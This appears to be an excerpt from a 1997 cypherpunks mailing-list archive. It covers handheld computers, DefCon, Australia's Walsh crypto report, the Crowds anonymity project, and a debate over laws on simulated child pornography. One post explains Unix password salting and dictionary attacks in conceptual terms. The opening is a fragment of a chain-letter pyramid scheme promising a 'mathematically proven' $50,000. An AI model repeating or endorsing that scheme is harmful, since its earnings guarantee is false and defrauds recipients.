BE EXCHANGED FOR MONEY RECEIVED". WHILE YOU WAIT FOR THE REPORTS TO ARRIVE: 1. Name your new company. You can use your own name if you desire. 2. Get a Post Office Box (preferred) 3. Edit the names and addresses on the program. You must remember your name and address go next to REPORT# 1 and the others all move down one, with the fourth one being bumped OFF the list. 4. Obtain as many email addresses as possible to send until you receive the information on mailing list companies in REPORT# 3. 5. Decide on the number of programs you intend to send out. The more you send, and the quicker you send them, the more money you will make. 6. After mailing the programs, get ready to fill the orders. 7. Copy the four 4 REPORTS so you are able to send them out as soon as you receive an order. IMPORTANT: ALWAYS PROVIDE SAME DAY SERVICE ON ORDERS YOU RECEIVE! 8. Make certain the letter and reports are neat and legible. YOUR GUARANTEE The check point which GUARANTEES your success is simply this: you must receive 15-20 orders for REPORT# 1. This is a must!!! If you don't within to weeks, email out more programs till you do. Then a couple of weeks later you should receive at least 100 orders for REPORT# 2, if you don't, send out more programs till you do. Once you have recieved 100 or more orders for REPORT# 2 (take a deep breath) you can sit back and relax, because YOU ARE GOING TO MAKE AT LEAST $50,000. Mathematically it is a proven guarantee. Of those who have participated in the program and reached the above GUARANTEES-ALL have received their $50,000 goal. Also,remember, every time your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT IS!!! REMEMBER: "HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING:" "INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR SEARCH FOR IT FOR THE REST OF YOUR LIFE." From bryce at digicash.com Tue Jul 15 03:58:54 1997 From: bryce at digicash.com (Bryce) Date: Tue, 15 Jul 1997 18:58:54 +0800 Subject: hand-held computers Re: Electronic commerce has long way to go In-Reply-To: <3.0.2.32.19970714222941.006a57d0@pop.ccnet.com> Message-ID: <199707151053.MAA17126@digicash.com> > After watching Ian Goldberg's demo of all the neat things one can do on an > US Robotics Palm Pilot PDA, I decided to purchase such a device. Hm. I have already sent out e-mails to on-line merchants asking if I can order a Newton, because I've heard from several people that Newton has a superior user interface, and I know that its CPU is super fast. Unfortunately there is not yet any PGP or Ecash for Newton publically available. How about for Pilot? Is there gcc or any other C compiler for Pilot? (There is not, yet, for Newton a publically available C compiler AFAIK.) What _are_ the cool things Ian Goldberg can do with a Pilot, anyway? Regards, nobody in particular Disclaimers follow: I am not a crook. NOT speaking for DigiCash or any other person or organization. No PGP sig follows. From dlv at bwalk.dm.com Tue Jul 15 04:41:44 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 15 Jul 1997 19:41:44 +0800 Subject: Fuck the Usenet Cabal In-Reply-To: Message-ID: Paul Bradley writes: > > ObCrypto: I was offered a 76GB changer for $350. I thought of the followin > > demo application: a user e-mails a piece of a Unix passwd file (password+sa > > to a server, which looks up a password that works. Problem is, 76GB doesn' > > seem sufficient for the lookup table. :-( (Assume infinite time available > > on a fast box.) > > I have to confess ignorance over the form of the password in the unix > passwd file, how much salt is used, does it vary from ?nix to ?nix or is it > pretty standard? Maybe a small(ish) lookup table/ dictionary attack could > be mounted using this. Suppose that 'foo' is a valid password for the account 'bar'. Unix computes crypt(3)[similar to DES] using 8 bytes of zeros as the plaintext and the password (56 bits) and the 'salt' (the 12-bit time-stamp of when the password is set) as the key. Then it stores the salt and the (64-bit) result of crypt, often in a place where regular users can read it. When some program wants to verify that 'baz' is indeed a password for 'foo', it extracts the salt and the encrypted string from the password database, computes crypt(3) of salt (from the database) + the password being tried, and sees if it matches the encryption result in the database. This was designed by Robert Morris Sr [who really deserves more fame than being the father of Robert Morris Jr of the worm fame] and Ken Thompson. The purpose of the pseudo-random 'salt' is to make sure that if two accounts have the same password, they'll still have different encryption strings in the database (almost always). Thus, given 12+64 bits of input, we want to get the 56 bits of output; and the vast majority of 12+64 inputs can't happen. A well-known attack (implemented by widely available programs such as "crack") is to try various words from a dictionary with the 'salts' used by the traget account(s) (usually using not the (slow) crypt(3) from the library, but a highly optimized version of it. [The guy who wrote the "Camel" Perl book got caught doing this at a place where he worked as a consultant, and was prosecuted and convicted.] To prevent dictionary attacks, many sites no longer make the encrypted strings "easily" available to users; programs must use an API to check if a supplied password matches. Unix admins call this "password shadowing". --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From frantz at netcom.com Tue Jul 15 07:54:05 1997 From: frantz at netcom.com (Bill Frantz) Date: Tue, 15 Jul 1997 22:54:05 +0800 Subject: hand-held computers Re: Electronic commerce has long way to go In-Reply-To: <3.0.2.32.19970714222941.006a57d0@pop.ccnet.com> Message-ID: At 3:53 AM -0700 7/15/97, Bryce wrote: >Is there gcc or any other C compiler for Pilot? (There is not, >yet, for Newton a publically available C compiler AFAIK.) I believe at least the Macintosh version of Metroworks supports C cross compiles for the Pilot. ------------------------------------------------------------------------- Bill Frantz | The Internet was designed | Periwinkle -- Consulting (408)356-8506 | to protect the free world | 16345 Englewood Ave. frantz at netcom.com | from hostile governments. | Los Gatos, CA 95032, USA From declan at well.com Tue Jul 15 08:50:12 1997 From: declan at well.com (Declan McCullagh) Date: Tue, 15 Jul 1997 23:50:12 +0800 Subject: If you build it, they will con, from the Netly News Message-ID: ---------- Forwarded message ---------- Date: Tue, 15 Jul 1997 08:37:30 -0700 (PDT) From: Declan McCullagh To: fight-censorship at vorlon.mit.edu Subject: If you build it, they will con, from the Netly News ************ http://pathfinder.com/netly/opinion/0,1042,1168,00.html The Netly News (http://netlynews.com) July 15, 1997 If You Build It, They Will Con by Declan McCullagh (declan at well.com) Perhaps the thinking behind DefCon went something like this: Lure hundreds of hackers to Las Vegas in the middle of the summer, ply them with cheap beer, talk about packet sniffing, and observe. Last year the result was self-organizing chaos, capped by an event where the hired strippers were upstaged by a band of exhibitionist conferencegoers. "The pimp was like, 'Oh my God,'" says Dark Tangent, DefCon's organizer. Last weekend's fifth annual DefCon may have been a little less raucous, but it was no less important as a place where hackers from around the world gather to socialize, gamble -- and glance around furtively trying to spot the government agents who infiltrate the convention. (Bonus: If you guess correctly, you can take a prized "I Spotted the Fed" T-shirt home with you.) [...] From declan at well.com Tue Jul 15 09:08:27 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 16 Jul 1997 00:08:27 +0800 Subject: Australia's restricted Walsh crypto-report attracts interest Message-ID: ---------- Forwarded message ---------- Date: Tue, 15 Jul 1997 08:52:51 -0700 (PDT) From: Declan McCullagh To: fight-censorship-announce at vorlon.mit.edu Subject: Australia's restricted Walsh crypto-report attracts interest The report's at: http://www.efa.org.au/Issues/Crypto/Walsh/ Also, I understand from participants in the Canberra meeting that U.S. performance there was lackluster at best. -Declan ********* http://www.australian.aust.com/computer/fulltext/c0715d.htm Censored report on the Web By STEVE CREEDY July 15: The encryption report the Federal Government did not want Australians to read is already attracting overseas interest after just one week on the Web. A censored version of the Walsh Report on cryptography was obtained under the Freedom of Information Act and has been posted online by Electronic Frontiers Australia. The report, originally slated to be published earlier this year, had been withheld by federal Attorney-General Daryl Williams. EFA officials, worried the Government would formulate an encryption policy without debate, posted the report. The move came as international experts met in Canberra last week for closed-door discussions on cryptography. The report advises against major legislation to safeguard security and law enforcement interests. It proposes "minor legislative and other actions", including updating existing telecommunications and search laws, as well as a more co-ordinated approach by government to cryptography. It does not support US proposals for tackling the issues, including law to require decoding keys be stored with the Government. EFA cryptography committee chairman Greg Taylor said overseas interest was particularly strong from the US where there has been a long-standing debate on how to balance privacy, police and security issues when legislating on encrypted communications. Concern in Australia focused on whether the Government would present a cryptography policy without debate. "We're trying to make sure there is debate about all the issues and submissions from interested parties – commercial, government and private interests," he said. But a spokesman for the Attorney-General said on Sunday the Government was formulating a policy and that there was scope for public input. "There will be, as a matter of course, some sort of announcement," he said. "That allows people to have input." The move to post the report was welcomed by its author, former ASIO deputy director-general Gerard Walsh, who said his work was for debate and he did not know why it had been withheld by the Attorney-General, who had cited "security issues". The spokesman said the document "was not suitable for discussion for the development of policy in the encryption area and, therefore, was not suitable for public release". However, Mr Walsh said he wrote two versions, one for public consumption and one that was "mildly classified". "Because there was going to be a public version, I did speak with interested parties and invited them to have a look and comment on the report in draft form," he said. "As I left it and as I understood it, all were content with it going public but someone must have had a change of heart." The version posted by EFA is the one intended for public discussion with an estimated 20 to 25 paragraphs deleted. Mr Taylor said it was posted with government permission. "The Attorney-General's [department] said they couldn't do much about it anyway," he said. The censored paragraphs fell under sections of the FOI Act relating to internal working documents, law enforcement issues and issues of national security. He did not know what was contained in the deleted paragraphs. Mr Taylor said Mr Walsh found the situation "quite laughable". The Walsh report was probably one of the first balanced reviews of the cryptography issue. "All existing reports are either prepared by government and come down heavily on one side, or they're prepared by groups that basically look at privacy," he said. "This one looks at all issues and as result of analysing them appears to state the whole concept of key escrow is doomed to failure." Mr Walsh concluded government should not commit to a particular solution because the problem itself "will continue to change". US attempts to regulate encryption – including the clipper chip, key escrow and key management – were "public relations and practical disasters". Blanket bans that limited access to services and equipment to achieve access for law enforcement agencies were not in the national interest. "I agree there is a law enforcement required access, but the way in which you achieved it was not to belt the little hazelnut with an almighty steam press that diminished everyone's freedom," he said. "Rather, the direction in which I wanted to push things was to say: 'It would be better to slightly stiffen, strengthen and make more relevant those somewhat anachronistic investigative powers that already exist'." ### From Shane_Nifong at stratus.com Tue Jul 15 09:14:44 1997 From: Shane_Nifong at stratus.com (Shane_Nifong at stratus.com) Date: Wed, 16 Jul 1997 00:14:44 +0800 Subject: Cryptography Seminars and Confrences Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Does anyone know of a web address or some other means of looking up conferences or seminars on the subject of cryptography? If there is no site or reference, does anyone know of any upcoming around the Atlanta, GA area? - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PGP for Personal Privacy 5.0 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 =6fR/ - -----END PGP PUBLIC KEY BLOCK--- -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQA/AwUBM8ugcKxZ8xbjyDtBEQIzLgCcDQdiNF7dglWSH7DvgXdRKSG4De4An2sE n0CwLkJSuJwtK8Pugm2loS9l =EyYI -----END PGP SIGNATURE----- From ericm at lne.com Tue Jul 15 09:17:16 1997 From: ericm at lne.com (Eric Murray) Date: Wed, 16 Jul 1997 00:17:16 +0800 Subject: hand-held computers Re: Electronic commerce has long way to go In-Reply-To: <199707151053.MAA17126@digicash.com> Message-ID: <199707151607.JAA18987@slack.lne.com> Bryce writes: > > > > After watching Ian Goldberg's demo of all the neat things one can do on an > > US Robotics Palm Pilot PDA, I decided to purchase such a device. > > > Hm. I have already sent out e-mails to on-line merchants > asking if I can order a Newton, because I've heard from several > people that Newton has a superior user interface, and I know > that its CPU is super fast. > > > Unfortunately there is not yet any PGP or Ecash for Newton > publically available. > > > How about for Pilot? > > > Is there gcc or any other C compiler for Pilot? (There is not, > yet, for Newton a publically available C compiler AFAIK.) There's a GCC development environment for the Pilot that runs under Linux. Also packages for synching, logging in from the Pilot to unix, perl tools, assemblers, disassemblers, and about 400 other things. Check out http://www.inforamp.net/~adam/pilot/ for info. It's pretty cool how much stuff is available for the pilot. It's too bad that I need either a full workstation with all the trimmings, or just a pen and a (paper) notebook. > What _are_ the cool things Ian Goldberg can do with a Pilot, > anyway? SSL, telnet, ssh, xcopilot, a POP mail client and some more stuff. http://www.isaac.cs.berkeley.edu/pilot/ -- Eric Murray ericm at lne.com Security and cryptography applications consulting. PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03 92 E8 AC E6 7E 27 29 AF From 91240053 at 26905.com Wed Jul 16 00:28:59 1997 From: 91240053 at 26905.com (91240053 at 26905.com) Date: Wed, 16 Jul 1997 00:28:59 -0700 (PDT) Subject: Create your own Screen Savers! Message-ID: <165033768544.VXV21771@sicsemper23.com> We are contacting you because you are an active PC user. We wish to make you aware of a powerful and easy to use screen saver design tool for Windows 3.x and Windows 95 called Creator. Our software offers you the ability to personalize your PC with ease and develops professional screen savers with support for graphics, sound, animations and over 35 different wipe transitions. You can examine Creator for FREE by going to our Internet Web Site. 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Use images of family, pets, or any favorite images to create personalized custom screen savers! Some of Creator's additional features include an easy to use graphic scheduler, optional file compression, Health Watch (regulates monitor use for long term eye safety, and helps prevent computer related problems such as Carpul tunnel syndrome), and over 35 different screen transitions. Check out our special Limited Offer - Creator Personal retails for $29.95 US, now only $19.95 US until July 30, 1997. Order Creator by: BUY CREATOR NOW at http://www.promoware.sk.ca/creator Phone: 1-800-463-9237 Fax: (306) 652-1955 We accept both VISA and Master Card. email: support at promoware.sk.ca This is the only notice you will receive regarding Creator. There is no need to request removal from our mailing list. From nobody at www.video-collage.com Tue Jul 15 09:31:22 1997 From: nobody at www.video-collage.com (Unprivileged user) Date: Wed, 16 Jul 1997 00:31:22 +0800 Subject: Making Imaginary Sex Illegal In-Reply-To: <33CAC79B.6293@nwdtc.com> Message-ID: <97Jul15.122553edt.32258@brickwall.ceddec.com> > http://www.wired.com/news/news/politics/story/5153.html > > Making Imaginary Sex Illegal > > by Ashley Craddock > > So maybe it shouldn't be surprising that Congress has made it a > criminal offense to depict non-obscene, sexually explicit material > involving anyone who "appears to be" a minor. Maybe it shouldn't be > surprising that it made it a criminal offense to advertise materials in > any way that "conveys the impression" that minors will be sexually > depicted. > > But what about the fact that Congress explicitly designed the law to > make computer-simulated child porn illegal? If "computer-simulated" images are legal, how can you tell that it is computer simulated? Everyone will then claim to be a talented artist, or use reverse aging algorithms on adult porn photos, or just use enough obvious features on a real picture to show computer alteration. Or, simply have a CG artist render the live scene? Which category would that be? JPEG is a lossy compression technique - would that alteration to a photograph be considered "computer simulation". > As the case has evolved, the government has moved toward the stance > that it didn't really mean to outlaw sexually explicit images of young > adults who might look like kids. What it meant to do was protect the > world from explicit kiddie morphs. If anyone watched the original hearings, this is what they were discussing as the problem with the original definition. I forget the specific legalese, but if one face was pasted on a different body, for some reason it ceased to fall within the old definition, making it very easy to create "legal" child-pornography. Of course courts regularly ignore legislative intent. Congress is notoriously bad at coming up with good legal definitions, and I was bothered that they didn't simply include "computer-altered" images in the existing definition instead of a complete redifinition of "anything that appears to be". I hope the existing law is overturned as being too broad so that the narrower definition can be passed. But to return to the cypher aspect, what about altering existing images so that they are unidentifiable as to whether they are from real acts or truly the products of an imagination. Will we now need someone from the government to certify the kiddie porn isn't real? --- reply to tzeruch - at - ceddec - dot - com --- From shamrock at netcom.com Tue Jul 15 10:20:25 1997 From: shamrock at netcom.com (Lucky Green) Date: Wed, 16 Jul 1997 01:20:25 +0800 Subject: hand-held computers Re: Electronic commerce has long way to go In-Reply-To: <199707151053.MAA17126@digicash.com> Message-ID: <3.0.2.32.19970715100822.006fba74@netcom10.netcom.com> At 09:07 AM 7/15/97 -0700, Eric Murray wrote: >> What _are_ the cool things Ian Goldberg can do with a Pilot, >> anyway? > >SSL, telnet, ssh, xcopilot, a POP mail client and some more stuff. >http://www.isaac.cs.berkeley.edu/pilot/ Even better, the Pilot is about the same size as the new Ricochet wireless modem. Keeping the modem in your pocket and the Pilot in your hand, you can run Emacs over SSH from anywhere in the Bay Area. For the GUI addicts, Ian's team just wrote a browser for the Pilot. In all fairness, the browser for the Pilot does not interpret the HTML, but relies on a proxy on the network to do much of the work. But here is a device that is smaller and lighter than my wallet. A device that gives me Emacs, a graphical web browser, and a contact manager and scheduler that syncs with my scheduler at work. All wireless from anywhere in the area. Did I mention that it has an Indiglo screen? I'm sold, --Lucky Green PGP encrypted mail preferred. DES is dead! Please join in breaking RC5-56. http://rc5.distributed.net/ From janzen at idacom.hp.com Tue Jul 15 10:44:35 1997 From: janzen at idacom.hp.com (Martin Janzen) Date: Wed, 16 Jul 1997 01:44:35 +0800 Subject: Making Imaginary Sex Illegal Message-ID: <9707151736.AA27385@sabel.idacom.hp.com> Alan Olsen writes: > http://www.wired.com/news/news/politics/story/5153.html > Making Imaginary Sex Illegal > by Ashley Craddock > 12:05pm 14.Jul.97.PDT Is there such a thing as child porn which doesn't > involve children? Logic would say no, but adherence to the rules of > reason has never been a hallmark of the United States Congress, > particularly when it comes to hot-button issues like child protection. > [...] It's even less of a hallmark of the Canadian government; we've had this sort of thing for a while. From the Electronic Frontier Canada archives: >1. R. v. Pecciarich (sentencing) [1995] O.J. No. 2238 > http://www.efc.ca/pages/law/court/R.v.Pecciarich-sentence.html > > This summarizes the penalty (2 years probation, with various conditions) > given to Canada's first person convicted of computerized kiddie porn. Apparently he was convicted on obscenity charges for scanning in and modifying pictures from department store catalogs. However, he was acquitted of distribution because it couldn't be proven that he did the actual uploading. (The lesson being, don't digitally sign all of your outgoing traffic automatically?) >2. Lawyer's Weekly - Pecciarich case > http://www.efc.ca/pages/media/lawyers-weekly.23jun95.html > > Here's what the lawyer's said amongst themselves about > the Pecciarich decision. tzeruch at ceddec.com, or maybe nobody at mars.ceddec.com, writes: >If "computer-simulated" images are legal, how can you tell that it is >computer simulated? Everyone will then claim to be a talented artist, or >use reverse aging algorithms on adult porn photos, or [...] That's a good point, and will almost certainly come up in someone's defence arguments sooner or later. The cypherpunkish answer, I believe, would be to say that images of any sort should not be illegal, but the means by which they were produced may be. In other words, do what you want on your computer, as long as you leave real kids alone. Of course, actual laws on the subject will bear no resemblance to the CPish solution... MJ From reiter at research.att.com Tue Jul 15 10:52:22 1997 From: reiter at research.att.com (Mike Reiter) Date: Wed, 16 Jul 1997 01:52:22 +0800 Subject: update on Crowds Message-ID: <199707151727.NAA00460@cloak.research.att.com> Back in April we circulated an announcement for a system called "Crowds" for browsing the web anonymously. Here is an update on its status. 1) There is a new, more complete version of the Crowds paper, and a new web page from which you can retrieve it. The page's URL is http://www.research.att.com/projects/crowds/ Of course, comments are welcomed and appreciated. 2) AT&T has finally decided to release the code, and we are working out a free license for noncomercial use with our lawyers right now. Once that is done, we would like to start alpha testing. Alpha testing will require some commitment from the testers, and we are looking for serious people who are interested in contributing to our attempt at providing anonymity to the Internet community. To be an alpha tester, you should have access to a machine - running SunOS, Solaris, or Irix - with Perl 5.003 or later - with a high-throughput connection to the Internet (no modems please!) - that is not behind a firewall Moreover, testers must be US citizens, due to the cryptography in the code. If you are interested in being an alpha tester, please send email to either of us. In your email, please describe the platform on which you'll be running. Mike Reiter Avi Rubin From azur at netcom.com Tue Jul 15 12:04:45 1997 From: azur at netcom.com (Steve Schear) Date: Wed, 16 Jul 1997 03:04:45 +0800 Subject: hand-held computers Re: Electronic commerce has long way togo In-Reply-To: <199707151607.JAA18987@slack.lne.com> Message-ID: >At 09:07 AM 7/15/97 -0700, Eric Murray wrote: >>> What _are_ the cool things Ian Goldberg can do with a Pilot, >>> anyway? >> >>SSL, telnet, ssh, xcopilot, a POP mail client and some more stuff. >>http://www.isaac.cs.berkeley.edu/pilot/ > >Even better, the Pilot is about the same size as the new Ricochet wireless >modem. Keeping the modem in your pocket and the Pilot in your hand, you can >run Emacs over SSH from anywhere in the Bay Area. For those outside of Metricom's coverage areas, NovaTel Wireless http://www.novatelwireless.com is introducing a CDPD modem specifically designed for the Pilot. Their Minstrel modem offers TCP/IP data rates up to 19.2 kbps over analog cellular. Coverage in most US metropolitan areas is now available. List price is expected to be $ 399. and deliveries are scheduled to begin in late summer. --Steve PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK) PGP Fingerprint: FE 90 1A 95 9D EA 8D 61 81 2E CC A9 A4 4A FB A9 --------------------------------------------------------------------- Steve Schear (N7ZEZ) | Internet: azur at netcom.com 7075 West Gowan Road | Voice: 1-702-658-2654 Suite 2148 | Fax: 1-702-658-2673 Las Vegas, NV 89129 | --------------------------------------------------------------------- God grant me the serenity to accept the things I cannot change; The courage to change the things I can; The weapons that make the difference; And the wisdom to hide the bodies of the people that got in my way;-) "Surveilence is ultimately just another form of media, and thus, potential entertainment." --G. Beato "We've all heard that a million monkeys banging on a million typewriters will eventually reproduce the entire works of Shakespeare. Now, thanks to the Internet, we know this is not true." -- Dr. Robert Silensky From kent at songbird.com Tue Jul 15 12:06:56 1997 From: kent at songbird.com (Kent Crispin) Date: Wed, 16 Jul 1997 03:06:56 +0800 Subject: Making Imaginary Sex Illegal In-Reply-To: <33CAC79B.6293@nwdtc.com> Message-ID: <19970715115457.07611@bywater.songbird.com> On Tue, Jul 15, 1997 at 12:25:55PM -0400, Unprivileged user wrote: > But to return to the cypher aspect, what about altering existing images so > that they are unidentifiable as to whether they are from real acts or > truly the products of an imagination. Will we now need someone from the > government to certify the kiddie porn isn't real? Yes, that's the logical next step -- Government Approved Porn (GAP). Perhaps we could get Senator Hatch to sponsor a bill? The constitutional implications are staggering. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From azur at netcom.com Tue Jul 15 12:41:14 1997 From: azur at netcom.com (Steve Schear) Date: Wed, 16 Jul 1997 03:41:14 +0800 Subject: Making Imaginary Sex Illegal In-Reply-To: <33CAC79B.6293@nwdtc.com> Message-ID: At 12:25 PM -0400 7/15/97, Unprivileged user wrote: >> http://www.wired.com/news/news/politics/story/5153.html >> >> Making Imaginary Sex Illegal >> >> by Ashley Craddock >> >> So maybe it shouldn't be surprising that Congress has made it a >> criminal offense to depict non-obscene, sexually explicit material >> involving anyone who "appears to be" a minor. Maybe it shouldn't be >> surprising that it made it a criminal offense to advertise materials in >> any way that "conveys the impression" that minors will be sexually >> depicted. >> >> But what about the fact that Congress explicitly designed the law to >> make computer-simulated child porn illegal? > >If "computer-simulated" images are legal, how can you tell that it is >computer simulated? Everyone will then claim to be a talented artist, or >use reverse aging algorithms on adult porn photos, or just use enough >obvious features on a real picture to show computer alteration. Or, >simply have a CG artist render the live scene? Which category would that >be? JPEG is a lossy compression technique - would that alteration to a >photograph be considered "computer simulation". > Exactly. Like crypto, technology is making moot these Nanny laws, but the legislators don't get it. I completely reject Congress' and the SC's different treatment of porn and graphic violence in the media. Either both or neither should be banned. The real issue is: Thought Crime. Should society have the right to control information content which cannot be shown to directly endanger or harm specific parties? I and many libertarians would say HELL NO. --Steve PGP encrypted mail PREFERRED (See MIT/BAL servers for my PK) PGP Fingerprint: FE 90 1A 95 9D EA 8D 61 81 2E CC A9 A4 4A FB A9 --------------------------------------------------------------------- Steve Schear (N7ZEZ) | Internet: azur at netcom.com 7075 West Gowan Road | Voice: 1-702-658-2654 Suite 2148 | Fax: 1-702-658-2673 Las Vegas, NV 89129 | --------------------------------------------------------------------- God grant me the serenity to accept the things I cannot change; The courage to change the things I can; The weapons that make the difference; And the wisdom to hide the bodies of the people that got in my way;-) "Surveilence is ultimately just another form of media, and thus, potential entertainment." --G. Beato "We've all heard that a million monkeys banging on a million typewriters will eventually reproduce the entire works of Shakespeare. Now, thanks to the Internet, we know this is not true." -- Dr. Robert Silensky From tien at well.com Tue Jul 15 12:43:24 1997 From: tien at well.com (Lee Tien) Date: Wed, 16 Jul 1997 03:43:24 +0800 Subject: Making Imaginary Sex Illegal In-Reply-To: <9707151736.AA27385@sabel.idacom.hp.com> Message-ID: Does anyone know who the judge is, what the case name/# is? I tried to find information about the case on the Web last night, came up with nothing resembling legal papers. Lee From alano at teleport.com Tue Jul 15 13:48:44 1997 From: alano at teleport.com (Alan) Date: Wed, 16 Jul 1997 04:48:44 +0800 Subject: Making Imaginary Sex Illegal In-Reply-To: <19970715115457.07611@bywater.songbird.com> Message-ID: On Tue, 15 Jul 1997, Kent Crispin wrote: > Yes, that's the logical next step -- Government Approved Porn (GAP). > Perhaps we could get Senator Hatch to sponsor a bill? > > The constitutional implications are staggering. "Welcome to the future. Here is your free porn." alano at teleport.com | "Those who are without history are doomed to retype it." From alano at teleport.com Tue Jul 15 13:49:45 1997 From: alano at teleport.com (Alan) Date: Wed, 16 Jul 1997 04:49:45 +0800 Subject: Making Imaginary Sex Illegal In-Reply-To: Message-ID: On Tue, 15 Jul 1997, Lee Tien wrote: > > Does anyone know who the judge is, what the case name/# is? I tried to > find information about the case on the Web last night, came up with nothing > resembling legal papers. There is no case law on it (yet). It is currently a law being challenged (or about to be) in court. Something Orrin "I have to look good for the Church" Hatch dreamed up. alano at teleport.com | "Those who are without history are doomed to retype it." From stutz at dsl.org Tue Jul 15 13:51:36 1997 From: stutz at dsl.org (Michael Stutz) Date: Wed, 16 Jul 1997 04:51:36 +0800 Subject: Making Imaginary Sex Illegal In-Reply-To: Message-ID: On Tue, 15 Jul 1997, Steve Schear wrote: > The real issue is: Thought Crime. "The only war that counts is the war on the imagination." --Diane DiPrima From rah at shipwright.com Tue Jul 15 14:17:26 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 16 Jul 1997 05:17:26 +0800 Subject: C2Net Software's Stronghold Web Server Adds nCipher Hardware Encryption Support Message-ID: --- begin forwarded text X-Authentication-Warning: fma66.fma.com: majordomo set sender to owner-espam at lists.espace.net using -f X-Orig-From: Robert Hettinga X-e$pam-source: Various X-Sender: rah at atanda.com Mime-Version: 1.0 Date: Tue, 15 Jul 1997 13:04:32 -0400 To: espam at intertrader.com, e$pam From: Robert Hettinga Subject: C2Net Software's Stronghold Web Server Adds nCipher Hardware Encryption Support X-MIME-Autoconverted: from 8bit to quoted-printable by lbo.leftbank.com id NAA11958 Sender: owner-espam at lists.espace.net 